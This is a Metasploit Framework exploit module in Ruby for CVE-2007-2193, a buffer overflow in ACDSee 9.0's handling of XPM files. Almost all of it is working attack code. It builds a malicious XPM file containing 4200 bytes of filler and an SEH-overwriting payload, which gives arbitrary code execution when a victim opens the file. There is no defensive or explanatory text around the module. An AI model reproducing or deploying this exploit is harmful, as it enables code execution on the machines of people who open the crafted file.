ACDSee XPM File Section Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ACDSee XPM File Section Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in ACDSee 9.0.  
When viewing a malicious XPM file with the ACDSee product,   
a remote attacker could overflow a buffer and execute   
arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => 'MC',  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2007-2193' ],  
[ 'OSVDB', '35236' ],  
[ 'BID', '23620' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},   
'Payload' =>  
{  
'Space' => 750,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],   
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 23 2007',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xpm']),  
], self.class)  
  
end  
  
def exploit  
  
filler = rand_text_alpha_upper(rand(25) + 1)  
  
# http://www.fileformat.info/format/xpm/  
head = "/* XPM */\r\n"  
head << "static char * #{filler}[] = {\r\n"  
head << "\""  
  
buff = rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)  
  
foot = "\",\r\n" + "};\r\n"  
  
xpm = head + buff + foot  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(xpm)  
  
end  
  
end  
`